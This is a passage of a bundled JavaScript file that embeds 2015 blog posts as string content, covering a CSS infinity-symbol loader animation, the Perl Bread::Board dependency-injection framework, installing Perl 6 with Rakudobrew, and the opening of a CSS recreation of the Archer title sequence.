1p::GitGot](https://metacpan.org/release/App-GitGot),\n[MetaCPAN::Client](https://metacpan.org/release/MetaCPAN-Client), and\nof course Git itself â that can be taken out of the toolbox,\nduct-taped together, and get the jolly job done.\n",icon:a.A,color:"purple"};var eb=t(3792);let ev={slug:"to-infinity-and-loading",title:"To Infinity And loading.....",excerpt:"A clever CSS experiment turns the infinity symbol into a looping loader animation. What starts as a simple idea â move a ball around the shape â becomes a deep dive into transforms, rotation origins, browser quirks, and subtle timing tweaks to nail that smooth figure-eight motion. If you like seeing creative UI ideas pushed to the limit with pure CSS, this one is worth a look.",authors:["Jake Goldsborough","Will Hutchinson"],publishDate:new Date("2015-08-04"),category:"Development",tags:["Technology","CSS","Animation"],readTime:"5 min read",content:'**Jake:** Recently, I was working on an internal project and started\nthinking about the infinity symbol. After reading Will\'s great post on\n[recreating the Archer title sequence with CSS animations](/resources/blog/taking-css-animations-to-the-danger-zone),\nI came up with the idea to create a loader using the symbol. A loader\nis an animation used to signal to the user that something is\nhappening, like data loading or when submitting a form.\n\n\x3c!-- cut --\x3e\n\n## A Loader Needs an Animation\n\n<span class="icon-avatar avatar-jake"></span>My idea for the animation\nwas to animate a small ball to follow the inside of the infinity\nsymbol. I found this great CSS infinity symbol on\n[CSS Tricks](https://css-tricks.com/examples/ShapesOfCSS/#infinity),\ncourtesy of [Nicolas Gallagher](http://nicolasgallagher.com/).\nInitially I tried to accomplish this using CSS by updating the\npositioning of the ball, but I quickly found that this was very\ntedious and not that smooth. I decided it was time to reach out to\nWill and see if he had any advice.\n\n## Letâs Get the Ball Rolling\n\n<span class="icon-avatar avatar-will"></span>When Jake came to me with\nthe infinity loader idea I was excited to jump in and give him a hand.\nLooking at the shape of the infinity symbol, I focused on the fact\nthat it is essentially two circles with a small cross section in the\nmiddle that straightens out to connect them. Looking at it this way,\nit makes sense to move the ball using `transform: rotate()` and\n`transform-origin`.\n\n<div class="infinity-loader">\n <div class="infinity-symbol"></div>\n</div>\n\nAs a test I set up the ball to make the left circle. The ball is 20px\nto match the width of the symbol\'s border. I\'m using\n`position: absolute` with the `top` set at 50% and `left` at 0.\nThere\'s also a `margin-top` of -10px, which is half of the ball\'s\nheight, to center the ball. The `transform: rotate()` is set to start\nat 0deg. The `transform-origin` has an x-offset of 50px, which matches\nthe infinity symbol\'s `border-radius`, and a y-offset of 10px, which\nis half of the ball\'s height. These offsets position the ball\'s\nrotation point on the center of the left circle.\n\n```css\n.ball {\n height: 20px;\n width: 20px;\n border-radius: 50%;\n background: #fff;\n position: absolute;\n top: 50%;\n left: 0;\n margin-top: -10px;\n z-index: 10;\n transform: rotate(0deg);\n transform-origin: 50px 10px;\n animation: infinity 2s linear infinite;\n}\n\n@keyframes infinity {\n to {\n transform: rotate(360deg);\n }\n}\n```\n\n<div class="infinity-loader">\n <div class="infinity-symbol">\n <div class="infinity-ball-one"></div>\n </div>\n</div>\n\nAdjusting `transform: rotate()` and `transform-origin` to move our\nball works well and is going to simplify our movement significantly\ncompared to manipulating the actual positioning. We will still need to\nmodify the positioning to move the ball to the right side. Letâs take\na look at that now and make the right circle as well.\n\n## Slide to the Right\n\n<span class="icon-avatar avatar-will"></span>For moving the ball over\nto the right side, we\'ll switch from using `left` to `right`\npositioning. This makes the most sense, since the position would stay\nthe same regardless of the width of the infinity symbol. To do this we\nset the `left` position to auto and the `right` position to 0. Weâll\nalso need to set the `transform-origin` x-offset to -30px so that the\nrotation is positioned properly for the right side of the symbol. To\nget -30px we take the original 50px offset we used on the left side\nand subtract the width of the ball, since we\'re moving the offset\nnegatively for the right side.\n\n```css\n@keyframes infinity {\
1n 0% {\n transform: rotate(0deg);\n transform-origin: 50px 10px;\n left: 0;\n }\n 50% {\n transform: rotate(360deg);\n transform-origin: 50px 10px;\n left: 0;\n }\n /* switch sides */\n 50.1% {\n left: auto;\n right: 0;\n transform: rotate(0deg);\n transform-origin: -30px 10px;\n }\n 100% {\n left: auto;\n right: 0;\n transform: rotate(360deg);\n transform-origin: -30px 10px;\n }\n}\n```\n\nAfter a bit of browser testing though, Jake noticed that something\nwasnât working properly in Firefox and Internet Explorer. Turns out\nthose browsers don\'t switch the positioning from `left` to `right`\nduring the animation. Instead, they keep the `left` positioning and\nthe ball makes the second circle further over to the left. To fix\nthis, we\'ll have to stick with using `left` positioning. Not a big\ndeal.\n\nSo now we have our ball making both the left and right circles\nproperly in all browsers.\n\n```css\n@keyframes infinity {\n 0% {\n left: 0;\n transform: rotate(0deg);\n transform-origin: 50px 10px;\n }\n 50% {\n left: 0;\n transform: rotate(360deg);\n transform-origin: 50px 10px;\n }\n 50.1% {\n left: 192px;\n transform: rotate(0deg);\n transform-origin: -30px 10px;\n }\n 100% {\n left: 192px;\n transform: rotate(360deg);\n transform-origin: -30px 10px;\n }\n}\n```\n\n<div class="infinity-loader">\n <div class="infinity-symbol">\n <div class="infinity-ball-two"></div>\n </div>\n</div>\n\n## Making the Connection\n\n<span class="icon-avatar avatar-will"></span>Things are coming along\nnicely now, so let\'s join the two circles. We want to start our ball\nin the center, so letâs first flip our starting rotation to 180deg.\n\n<div class="infinity-loader">\n <div class="infinity-symbol">\n <div class="infinity-ball-static-180"></div>\n </div>\n</div>\n\nNow we need to nudge it over to the right a bit. To do that we are\ngoing to stick with the other property weâre animating and set our\n`transform-origin` x-offset to 58px. To get 58px I nudged the x-offset\nuntil the ball looked centered. Here\'s a more mathematical approach if\nyou\'d prefer. Our infinity symbol halves have a diameter of 100px and\nthe total width including the cross section is 212px. If we subtract\nthe two circles from our total width we\'re left with 12px. Our ball is\n20px, and 20px minus 12px leaves us with an additional 8px to center\nthe ball. Calculating the offset this way works for any size symbol as\nlong as we keep the current ratios.\n\n```css\n.ball {\n height: 20px;\n width: 20px;\n border-radius: 50%;\n background: #fff;\n position: absolute;\n top: 50%;\n left: 0;\n margin-top: -10px;\n z-index: 10;\n transform: rotate(180deg);\n transform-origin: 58px 10px;\n}\n```\n\n<div class="infinity-loader">\n <div class="infinity-symbol">\n <div class="infinity-ball-static-center"></div>\n </div>\n</div>\n\nNow that weâre all nice and centered, letâs set up our animation\nagain. To center the ball for the start of the right circle, letâs\nflip the rotation to -180deg and nudge the `transform-origin` x-offset\nto -38px. Then weâll modify both circlesâ ending values to match up\nwith the new starting positions. Thatâll get the ball moving\ncontinuously through the center of our symbol.\n\n```css\n@keyframes infinity {\n 0% {\n left: 0;\n transform: rotate(180deg);\n transform-origin: 58px 10px;\n }\n 50% {\n left: 0;\n transform: rotate(-180deg);\n transform-origin: 58px 10px;\n }\n 50.1% {\n left: 192px;\n transform: rotate(-180deg);\n transform-origin: -38px 10px;\n }\n 100% {\n left: 192px;\n transform: rotate(180deg);\n transform-origin: -38px 10px;\n }\n}\n```\n\n<div class="infinity-loader">\n <div class="infinity-symbol">\n <div class="infinity-ball-three"></div>\n </div>\n</div>\n\n## Staying on Track\n\n<span class="icon-avatar avatar-will"></span>With the two circles\nconnected, things are looking pretty smooth, but not really following\nthat infinity symbol all too well. A few tweaks and this ball will be\non track.\n\nWhen we started this animation we had our left rotation with a\n`transform-origin` x-offset of 50px and our right rotation with a\n`transform-origin` x-offset of -30px. So to get things where they need\nto be, weâll animate our `transform-origin` between our current and\noriginal values when the ball is crossing that center section. To get\na starting point for the percentage of time needed for this transition\nwe can break the animation down into segments. We have two halves,\neach with four corners and each corner has two segments. This gives us\n16 segments in total, four are part of our cross section. 100% divided\nby 16 gives us 6.25%, so I started out with 6% per cross segment for\nthis transition. After fiddling around with the timing of these\ntransitions a bit (I decided that 4% looked best), we have our lovely\nloader animation working just like we\'d envisioned.\n\n```css\n@keyframes infinityFinal {\n 0% {\n transform: rotate(180deg);\n transform-origin: 58px 10px;\n left: 0;\n }\n 4% {\n transform-origin: 50px 10px;\n }\n 46% {\n transform-origin: 50px 10px;\n }\n 50% {\n transform: rotate(-180deg);\n transform-origin: 58px 10px;\n left: 0;\n }\n 50.1% {\n left: 192px;\n transform: rotate(-180deg);\n transform-origin: -38px 10px;\n }\n 54% {\n transform-origin: -30px 10px;\n }\n 96% {\n transform-origin: -30px 10px;\n }\n 100% {\n left: 192px;\n transform: rotate(180deg);\n transform-origin: -38px 10px;\n }\n}\n```\n\n<div class="infinity-loader">\n <div class="infinity-symbol">\n <div class="infinity-ball-final"></div>\n </div>\n</div>\n\n## The End\n\n<span class="icon-avatar avatar-jake"></span>Wait... itâs an infinity\nsymbol, there is no end. Anyway, we hope you enjoyed the post, and if\nyouâd like to play around with this on your own you can view the final\nversion on [CodePen](http://codepen.io/tetowill/pen/ByXwWX).\n',icon:eb.A,color:"yellow",extraStyles:["/content/blog-post-assets/to-infinity-and-loading/to-infinity-and-loading.css"]},ek={slug:"bread-board-2",title:"Bread::Board, part II: Beyond the DSL",excerpt:"This follow up digs into Bread::Board without the convenience layer. Instead of relying on its DSL, it walks through manually building containers and services with Moose classes, showing how the dependency injection framework really works under the hood and how each component fits together to resolve dependencies in a structured way.",authors:["Yanick Champoux"],publishDate:new Date("2015-07-09"),category:"Development",tags:["Technology","Perl"],readTime:"10 min read",content:"Welcome to the second installment of our\n[Bread::Board](https://metacpan.org/release/Bread-Board) tutorials. In\nthe [previous article](/resources/blog/bread-board), we've\ncovered what type of situation calls for Bread::Board, and we had a\nhigh-level overview of how to use it. In this installment, we'll begin\nto dig deeper into the inner workings of the framework. More\nspecifically, we'll look beyond the DSL we used thus far for our\nexamples, and learn how to manually create the underlying objects of a\nBread::Board application.\n\n\x3c!-- cut --\x3e\n\n## A Quick Recap\n\nBy the end of the last article, using Bread::Board's DSL, we had\ncreated this simple Bread::Board application:\n\n```perl\nuse 5.20.0;\n\nuse DBI;\n\nuse My::Logger;\nuse My::WebApp;\nuse My::PDF::Generator;
1\nuse My::Reporting;\n\nuse Bread::Board;\n\nmy $root_container = container MyApp => as {\n service webapp => (\n dependencies => {\n dbh => '/database/handle',\n logger => '/logger',\n },\n class => 'My::WebApp',\n );\n\n service reporting => (\n dependencies => {\n dbh => '/database/handle',\n logger => '/logger',\n pdf_generator => '/pdf_generator',\n },\n class => 'My::Reporting',\n );\n\n container database => as {\n service handle => (\n dependencies => [ qw/ dsn username password / ],\n block => sub {\n my $service = shift;\n\n DBI->connect(\n $service->param('dsn'),\n $service->param('username'),\n $service->param('password'),\n );\n },\n );\n\n service dsn => 'dbi:SQLite:foo';\n service username => 'foo';\n service password => 'bar';\n };\n\n service logger => (\n class => 'My::Logger',\n );\n\n service pdf_generator => (\n dependencies => [ 'logger' ],\n class => 'My::PDF::Generator',\n );\n};\n```\n\nWith this, we saw that that can we now generate instances of any of\nthe given services (`reporting`, `database`, etc) via `resolve()`. For\nexample, to get a reporting object, we would do:\n\n```perl\nmy $reporter = $root_container->resolve( service => '/reporting' );\n```\n\n## Peeling the DSL off\n\nWhile the Bread::Board's DSL is helpful in terms of readability and\nconciseness of code, we'll put it aside for a moment so that we can\nhave a peek at what is really going on behind the scenes, and learn\nhow to create all of its components manually.\n\nAt its core, Bread::Board is a fully object-oriented framework built\nusing [Moose](https://metacpan.org/release/Moose). This means that\neach and every component we're creating is an object, which we then\nassemble together to create the desired system.\n\n## The service objects\n\nLet's begin with the service objects, as they are the central pieces\nof our systems.\n\nTaking the `logger` service of our example\n\n```perl\nservice logger => (\n class => 'My::Logger',\n);\n```\n\nwe can create an equivalent service object using the\n[Bread::Board::ConstructorInjection](https://metacpan.org/pod/Bread::Board::ConstructorInjection)\nclass:\n\n```perl\nuse Bread::Board::ConstructorInjection;\n\nmy $service = Bread::Board::ConstructorInjection->new(\n name => 'logger',\n class => 'My::Logger',\n);\n```\n\nWe now have a standalone service generator. To then create an instance\nof the service, we call the `get()` method on the object:\n\n```perl\nmy $logger = $service->get;\n\nmy $other_logger = $service->get; # provide another object\n```\n\nBread::Board comes with different service injectors, and, for the\nmoment, we'll leave it at that; the next blog entry of this series\nwill touch on the differences between the different injectors in more\ndetail.\n\n## Adding dependencies\n\nOf course, creating a single service is hardly useful. Dealing with\ndependencies and relationships between services is what we wanted\nBread::Board for in the first place. So let's move to the database\nhandle service of our example, which does have dependencies:\n\n```perl\nservice handle => (\n dependencies => [ qw/ dsn username password / ],\n block => sub {\n my $service = shift;\n\n DBI->connect(\n $service->param('dsn'),\n $service->param('username'),\n $service->param('password'),\n );\n },\n);\n```\n\nGenerating the same service, without the DSL:\n\n```perl\nuse Bread::Board::BlockInjection;\n\nmy $handle = Bread::Board::BlockInjection->new(\n name => 'handle',\n dependencies => [ qw/ dsn username password / ],\n block => sub {\n my $service = shift;\n\n DBI->connect(\n $service->param('dsn'),\n $service->param('username'),\n $service->param('password'),\n );\n },\n);\n```\n\n(Note that here, because we're providing our own code block to\nconstruct the object, we use `Bread::Board::BlockInjection` to\ninstantiate the service.)\n\nBut now, `get()` doesn't work anymore:\n\n```perl\nm
1y $dbh = $handle->get();\n# crashes with 'Can't call method \"isa\" on an undefined value'\n```\n\nWhy is that? It's because the service now has dependencies (`dsn`,\n`username` and `password`) that need to be satisfied to generate a\nhandle object. And Bread::Board can't resolve them because the service\nis currently floating in limbo, all on its own.\n\n### Container objects: no service is an island\n\nFor services to have resolvable dependencies, they must be put in\n_container_ objects. And those containers can be, in turn, embedded in\neach other to form hierarchies. It helps to think of it as a directory\nstructure where the containers are the directories, and the services\nthe files.\n\nTo continue with the database handle example, it means we'll now\ncreate a 'database' container to hold the handle as well as its\ndependencies.\n\nBefore we deal with the container itself, let's create the services\nfor `dsn`, `username`, and `password`. As those services are simple\nstrings, they use the\n[Bread::Board::Literal](https://metacpan.org/pod/Bread::Board::Literal)\nservice class:\n\n```perl\nmy $dsn = Bread::Board::Literal->new( name => 'dsn', value => 'DBI:SQLite:foo.db' );\nmy $username = Bread::Board::Literal->new( name => 'username', value => 'yanick' );\nmy $password = Bread::Board::Literal->new( name => 'password', value => 'hush' );\n```\n\nNow that we have all the required services, we can create the\ncontainer:\n\n```perl\nmy $database = Bread::Board::Container->new(\n name => 'database',\n services => [\n $handle, $dsn, $username, $password,\n ],\n);\n```\n\nUnder the hood, the services are now linked to the context of their\ncontainer, so doing:\n\n```perl\nmy $dbh = $handle->get();\n```\n\nwill work. It is, however, a little more _comme il faut_ to go through\nthe container we just created and do:\n\n```perl\nmy $dbh = $database->resolve( service => '/handle');\n```\n\nwhich translates to 'find the service associated with this path and\nmake it generate whatever it's supposed to generate'.\n\n### Creating the hierarchy: it's containers all the way down\n\nWith those two building blocks, containers and services, we can now\nbuild any system we want. Since containers can hold both services and\nsub-containers, it's only a question of populating the whole thing.\n\nIt's worth mentioning that although, so far we've created our\ncontainers and services as-is, they can be modified post-creation as\nwell. For example, if we want to add the reporting service to our\ngrowing system, we could do the following:\n\n```perl\nmy $root_app = Bread::Board::Container->new(name => 'root');\n\n# add the database container we already have\n$root_app->add_sub_container( $database );\n\n# create new service\nmy $reporting = Bread::Board::ConstructorInjection->new(\n name => 'reporting',\n class => 'My::Reporting',\n dependencies => {\n dbh => '/database/handle',\n logger => '/logger',\n pdf_generator => '/pdf_generator',\n },\n);\n\n# add it to the root app\n$root_app->add_service($reporting);\n\nsay $root_app->resolve( service => '/database/handle'); # will work\n\nsay $root_app->resolve( service => '/reporting'); # will not, as '/logger'\n # has not been defined yet\n```\n\nIt also opens the door to more complex systems that could, if one so\nfancies, be self-mutating. But we'll keep to saner waters for now, and\nkeep this kind of dark magic for a future article.\n\n### A Third Option:: Bread::Board::Declare\n\nNow we know how to create a hierarchy of Bread::Board services and\ncontainers using its DSL, or going at it manually. Since, after all,\nthis is Perl, there are yet a few more ways to do it.\n[Bread::Board::Declare](https://metacpan.org/pod/Bread::Board::Declare)\nis an alternative which allows you to declare containers as Moose\nclasses, with the attributes of the class defining its services and\nsub-containers. To provide a point of comparison, here is what our\nfull example would look like, BBDeclare-style:\n\n```perl\npackage MyApp {\n\n use Moose;\n use Bread::Board::Declare;\n\n has webapp => (\n is => 'ro',\n isa => 'My::WebApp',\n );\n\n has reporting => (\n is => 'ro',\n isa => 'My::Reporting',\n dependencies => {\n dbh => '/database/handle',\n logger => '/logger',\n pdf_generator => '/pdf_generator',\n },\n );\n\n has logger => (\n is => 'ro',\n isa => 'My::Logger'\n );\n\n has pdf_generator => (\n is => 'ro',\n isa => 'My::PDF::Generator',\n dependencies => [ 'logger' ],\n );\n\n has database => (\n traits => [ 'Container' ],\n is => 'ro',\n isa => 'MyApp::Database',\n );\n\n};\n\npackage MyApp::Database {\n\n use Moose;\n use Bread::Board::Declare;\n\n has handle => (\n is => 'ro',\n block => sub {\n my $service = shift;\n\n DBI->connect( map { $service->param($_) } qw/\n dsn username password\n /);\n },\n dependencies => [ qw/ dsn username password / ],\n );\n\n has dsn => (\n is => 'ro',\n value => 'dbi:SQLite:foo',\n );\n\n has username => (\n is => 'ro',\n value => 'yanick',\n );\n\n has password => (\n is => 'ro',\n value => 'hush',\n );\n\n}\n```\n\nWith that we have `MyApp`, a class generating objects that are the\nroot containers of the Bread::Board systems that will be generating\nour target objects. Head swimming yet? Levity aside, don't let the\nmany layers scare you. In truth, it all boils down to:\n\n```perl\n# MyApp returns an instance of the BB system\
1n# we defined in its class\nmy $root_container = MyApp->new;\n\n# an instance which we can use like any other instances we have\n# dealt with before\nmy $dbh = $root_container->resolve( service => '/database/handle' );\n```\n\n## Conclusion\n\nIn this installment, we went beyond the Bread::Board DSL to see how to\nmanually create services and set them in a hierarchy of containers so\nthat their inter-dependencies can be resolved by the system. We also\ntouched on a third way to create Bread::Board systems by using\nBread::Board::Declare and creating containers as Moose classes.\n\nNext time, we'll spend some more time on the different types of\nservices. Stay tuned!\n",icon:U.A,color:"purple"},eI={slug:"rakudobrew",title:"Rakudobrew",excerpt:"Curious about Perl 6 and want to stay on the bleeding edge? Rakudobrew makes it easy to install and switch between different Rakudo builds so you can experiment with the language, explore backends like MoarVM and JVM, and keep your setup current without manual juggling.",authors:["Brian Wisti"],publishDate:new Date("2015-06-02"),category:"Development",tags:["Technology","Perl"],readTime:"5 min read",content:'[Perl 6](http://perl6.org) will be ready for production in 2015,\naccording to Perl creator Larry Wall. At least, that\'s what he said\nduring\n[his FOSDEM 2015 talk](https://fosdem.org/2015/schedule/event/get_ready_to_party/).\nThis news reminded me that it has been quite a while since I tried\nanything interesting with Perl 6. I decided to spend my weekend\ninstalling and playing with [Rakudo](http://rakudo.org), the primary\nPerl 6 implementation.\n\n\x3c!-- cut --\x3e\n\nIf all you want to do is play with the language, then grabbing the\nlatest available [Rakudo Star](http://rakudo.org/downloads/star/)\nbundle is all you need. It includes\n[Task::Star](https://github.com/tadzik/Task-Star/), a collection of\nmodules which are generally useful. You can even run the sample code\nat the end of this post with Rakudo Star, in case you\'re in a _TL;DR_\nkind of mood.\n\nI prefer to stay current with development and explore different\nbackends which may not be available in the Rakudo Star release.\nJuggling those installations can be a challenge. Rakudobrew helps with\nthat exact situation.\n\n## Enter Rakudobrew\n\n[Rakudobrew](https://github.com/tadzik/rakudobrew) is a âquick and\ndirtyâ command line tool for managing [Rakudo](http://rakudo.org)\ninstallations. It can fetch the latest code from\n[GitHub](https://github.com), build against your choice of backends,\nand simplify version upgrades. It is suited for the same sort of folks\nthat use tools like [Perlbrew](http://perlbrew.pl/) or\n[RVM](http://rvm.io/). Rakudobrew behaves like those exceptâas with\nall things Perl 6âa little rough around the edges.\n\n## Setup\n\nSetting up Rakudobrew and its requirements did not take much time.\n\n### Requirements\n\nRakudobrew assumes a UNIX-like system, so it probably wonât work on\nWindows. OS X users should use a packaging system such as\n[MacPorts](https://www.macports.org) or [Homebrew](http://brew.sh) to\ninstall dependencies. The basic dependencies you\'ll need are:\n\n- Git, which is available in the `git` package on Ubuntu, and comes\n with the OS X Command Line Tools.\n- Perl 5 (5.10 or greater), which is already available on most\n UNIX-like systems.\n\nYou will also need the requirements for Rakudo itself. The Rakudo\n[INSTALL.txt](https://github.com/rakudo/rakudo/blob/nom/INSTALL.txt)\ndetails those requirements. There are currently three backends:\n[Parrot](http://parrot.org), [Moar](http://moarvm.com/), and the Java\nJVM. There will be additional requirements depending on which backends\nand features you want to use.\n\n- A C compiler\n- `make`\n- Optional\n - [GNU readline](http://cnswww.cns.cwru.edu/php/chet/readline/rltop.html)\n development libraries for command history and editing\n - [JDK](http://www.oracle.com/technetwork/articles/javase/index-jsp-138363.html)\n 1.7 or greater to build the JVM backend\n - [ICU](http://site.icu-project.org) library for Unicode support on Parrot backend.\n\nThe compiler and `make` generally come with the base development\npackage for your platform: `build-essential` on Ubuntu, or Xcode on OS\nX. Installation of readline depends on what packaging system you are\nusing.\n\n```shell\n# Ubuntu\n$ sudo apt-get install git build-essential libreadline-dev\n\n# OS X Macports (with Xcode and Command Line Tools already installed)\n$ sudo port install readline\n\n# OS X Homebrew (with Xcode and Command Line Tools already installed)\n$ brew install readline\n$ brew link readline\n```\n\nThe dependencies were the most confusing part. Installation of\nRakudobrew itself is much easier.\n\n```shell\n$ git clone https://github.com/tadzik/rakudobrew ~/.rakudobrew\n$ export PATH=~/.rakudobrew/bin:$PATH\n```\n\nIt wouldnât hurt to put `export PATH=~/.rakudobrew/bin:$PATH` into\n`~/.bash_profile`, or whatever your shell uses for initialization, so\nthat the `rakudobrew` executable is available in new login shells.\n\n## Usage\n\n`rakudobrew help` will give you a list of available commands.\n\n```shell\n$ rakudobrew help\nrakudobrew current\nrakudobrew list\nrakudobrew list-available\nrakudobrew build jvm|moar|all [tag|branch|sha-1] [--configure-opts=]\nrakudobrew build-panda\nrakudobrew triple [rakudo-ver [nqp-ver [moar-ver]]]\nrakudobrew rehash\nrakudobrew switch jvm|moar\nrakudobrew nuke jvm|moar\nrakudobrew self-upgrade\nrakudobrew test [jvm|moar|all]\n```\n\n### build\n\nThe `build` command will grab code from the Rakudo repository and\ncompile it for you with reasonable defaults. These defaults are based\non the backend you choose.\n\n```shell\n$ rakudobrew build moar\n```\n\n`rakudobrew` will install from the repository `HEAD` unless you\nspecify a version. You may want to build a specific\n[release](http://rakudo.org/downloads/rakudo/) of Rakudo. This could\nbe useful if you have Rakudo installed on multiple machines and you\nwant them to match each otherâs behavior.\n\n```shell\n$ rakudobrew build moar 2015.05\n$ rakudobrew build jvm\n```\n\nYes. All this building takes a while. Do not feel obligated to build\nevery backend and version that I do. `moar` should suffice for\nlanguage exploration.\n\n### list\n\nUse the `list` command to summarize all of the Rakudo installations\nthat Rakudobrew has installed.\n\n```shell\n$ rakudobrew list\n* moar-nom\n jvm-nom\n moar-2015.05\n```\n\nThe currently active installation gets tagged with an asterisk.\n\n### switch\n\nUse `switch` to change the active Rakudo installation from among those\nthat you have installed.\n\n```shell\n$ perl6 --version\nThis is perl6 version 2015.05-80-g2cc3afe built on MoarVM version 2015.05\n\n$ rakudobrew switch jvm-nom\nSwitching to jvm\nUpdating shims\n\n$ rakudobrew current\nCurrently running jvm-nom\n\n$ perl6 --version\nThis is perl6 version 2015.05-80-g2cc3afe built on JVM\n```\n\n### build-panda\n\nOnce you have a Rakudo implementation installed, you can install\n[Panda](https://github.com/tadzik/panda/). Panda is a Perl 6 module\nmanager.\n\n```shell\n$ rakudobrew build-panda\n```\n\nYou installed Panda. Might as well install some modules. How about\n[Task::Star](https://github.com/tadzik/Task-Star/)? That adds the\npackages bundled with [Rakudo\nStar](http://rakudo.org/downloads/star/), giving you roughly the\nnormal âbatteries includedâ experience available to normal people\ndownloading the latest installer.\n\n```shell\n$ panda install Task::Star\n```\n\nI noticed a couple of problem areas when using Panda and Rakudobrew\ntogether.\n\n- I needed to run `build-panda` on each of my installations. Otherwise\n `panda` complains about missing dependencies.\n- `panda` was unable to install every Task::Star module for every\n backend. Part of this is due to differences between JVM and Moar\n backends, and part of this is due to Task::Star modules relying on\n Perl 6 language features being deprecated for an eventual release of\n Perl 6 release candidate. Perl 6 is still an exercise for the bold\n and / or patient. Those with both traits in abundance can `panda install`\n each of the modules listed in the Task::Star\n [META.infp](
1https://github.com/tadzik/Task-Star/blob/master/META.info).\n\n### rehash\n\nThe Task::Star install included the command line tool\n[`p6doc`](https://github.com/perl6/doc), but that wonât be available\non your `$PATH` until you give the command. `rehash` looks for new\nexecutables in your current Rakudo installation, and creates shims nfor\nthem in the Rakudobrew `bin` path.\n\n```shell\n$ rakudobrew rehash\n$ p6doc Template::Mojo\n```\n\nBe aware that `p6doc` and Perl 6 documentation in general is not the\nseemingly infinite resource that `perldoc` is in Perl 5. Your best\nbets for now are the\n[Perl 6 documentation](http://perl6.org/documentation/) and pages.\n\n## You Mentioned Perl 6\n\nYou probably want to see some _real_ Perl 6 code that shows off what\nthe language and platform can really do.\n\nOh Iâm sorry. Weâre just about out of time.\n\nOkay, fine. Let me look at the\n[modules available for Rakudo](http://modules.perl6.org/). How about\nwe use [LWP::Simple](https://github.com/cosimo/perl6-lwp-simple/) and\n[JSON::Tiny](https://github.com/moritz/json/) to fetch the\n[leaderboard](https://github.com/CPAN-API/cpan-api/blob/master/docs/API-docs.md#get-a-leaderboard-of-ed-distributions)\nof `++` recipient Perl 5 distributions according to the\n[MetaCPAN API](https://github.com/CPAN-API/cpan-api/blob/master/docs/API-docs.md)?\nThis should work with Rakudo Star as well, since both of those modules\nare included in Task::Star.\n\n```perl\nuse v6;\n\nuse JSON::Tiny;\nuse LWP::Simple;\n\nmy $limit = 5;\nmy $host = "http://api.metacpan.org/v0/favorite/_search";\nmy $headers = {\n Accept => \'application/json\',\n Content-Type => \'application/json\',\n};\nmy $query = {\n query => {\n match_all => {},\n },\n facets => {\n leaderboard => {\n terms => {\n field => "distribution",\n size => $limit,\n }\n }\n },\n size => 0,\n};\nmy $json-query = to-json($query);\n\nsay "Listing top $limit distributions from MetaCPAN";\nmy $json-result = LWP::Simple.post($host, $headers, $json-query);\nmy $result = from-json($json-result);\nmy @terms = $result<facets><leaderboard><terms>.list;\n\nfor @terms -> $term {\n say "$term<count>\\t$term<term>";\n}\n```\n\nNow we have some functioning code. What does it produce?\n\n```shell\n$ perl6 top-distros.pl\n Listing top 5 distributions from MetaCPAN\n 268 Mojolicious\n 250 perl\n 233 Moose\n 174 DBIx-Class\n 92 App-cpanminus\n```\n\n<strong>Note:</strong> Had some confusing results with the version\nfirst published, but [@miyagawa](https://twitter.com/miyagawa) on\nTwitter\n[pointed out](https://twitter.com/miyagawa/status/605778075830214656)\nthat I was using the wrong endpoint.\n[Mojolicious](https://metacpan.org/pod/Mojolicious) is the module with\nthe most favorites, which makes sense. It\'s an excellent framework.\n\n## Wrapping Up\n\nSo, my "Perl 6 weekend" ended up stretching into Wednesday because I\nhad forgotten quite a bit of syntax. I can\'t say whether Perl 6 will\nbe ready for production in 2015, but with Rakudobrew I can easily\nupdate when it is announced.\n\nTo learn more about Perl 6, look over the reference material and\ntutorials linked from the\n[Perl 6 documentation](http://doc.perl6.org). For community news, the\n[P6 Weekly](http://p6weekly.wordpress.com/) blog summarizes recent\nactivity in the Perl 6 community.\n',icon:x.A,color:"blue"};var eT=t(8774);let eA={slug:"taking-css-animations-to-the-danger-zone",title:"Taking CSS Animations to the Danger Zone",excerpt:'Lately I\'ve been wanting to experiment a little more with CSS animations. I already use them for small effects, but to really get to know something, I need a project. A while back I was watching one of my favorite cartoons, Archer, and as the title sequence was rolling I realized, "this would make an awesome CSS animation project"',authors:["Will Hutchinson"],publishDate:new Date("2015-04-08"),category:"Development",tags:["Technology","CSS","Animation"],readTime:"10 min read",content:'Whenever you try to recreate something, it\'s best to study the\noriginal. A quick search led me to\n[Art of the Title](http://www.artofthetitle.com/) a site dedicated to\ntitle sequences. Lucky for me, they have the\n[Archer title sequence](http://www.artofthetitle.com/title/archer/)\nposted for our viewing pleasure. Have a look at it to see the sequence\nI\'m building towards.\n\n\x3c!-- cut --\x3e\n\n## We Need a Plan\n\nBefore jumping into any project, it\'s always good to lay out a plan.\nAfter studying the original title sequence, I decided I could really\ndo this project. I didn\'t think it would be too difficult because it\'s\nall solid colors (e.g., no gradients and patterns), most of the shapes\ncan be created using CSS, and even the more complex silhouettes are\nnot very detailed. All of the animations are pretty straightforward.\n\nFirst, I broke the entire sequence down into a few separate scenes\nbased on the major transitions. This helped me understand what\nelements to group together and also gave me some specific goals. I did\nthis by sketching out the scenes:\n\n<div class="center">\n <img src="/content/images/blogs/taking-css-animations-to-the-danger-zone/archer-scene-sketch.jpg"\n alt="Sketch of scenes in Archer title sequence"\n title="Sketch of scenes in Archer title sequence">\n</div>\n\nAfter that, I took screenshots of all the different layouts in the\nsequence (51 in total). I put them into Photoshop so I could grab the\ndimensions, positioning and color of each element. Once I had all this\ndocumented, I started setting up my HTML and CSS.\n\nIf you just can\'t wait, you can\n<a href="#animation" class="view-animation">view the completed\nanimation</a> at the end of this post, then come back to finish\nreading.\n\n<h2 id="structure">
1Structure</h2>\n\nI laid out the HTML to separate the individual scenes. There is one\nelement that moves through every scene: the white dot. Since the white\ndot is not tied to any particular scene, I placed it on the main stage\nwhere it is free to move on its own. You\'ll also notice that there are\nseven scenes listed below but eight shown in the above sketch. After\nthe initial planning, I realized that scene two and three from the\ninitial sketch were better off combined.\n\n```html\n<div class="wrap">\n <div class="main">\n <div class="dot"></div>\n <div class="scene-1">\x3c!-- elements --\x3e</div>\n <div class="scene-2">\x3c!-- elements --\x3e</div>\n <div class="scene-3">\x3c!-- elements --\x3e</div>\n <div class="scene-4">\x3c!-- elements --\x3e</div>\n <div class="scene-5">\x3c!-- elements --\x3e</div>\n <div class="scene-6">\x3c!-- elements --\x3e</div>\n <div class="scene-7">\x3c!-- elements --\x3e</div>\n </div>\n \x3c!-- END .main --\x3e\n</div>\n\x3c!-- END .wrap --\x3e\n```\n\n## Getting Animated\n\nOnce I laid out the first scene, I began setting up the animations. To\ncreate timed animations for something like this in CSS, we have to use\nkeyframes. 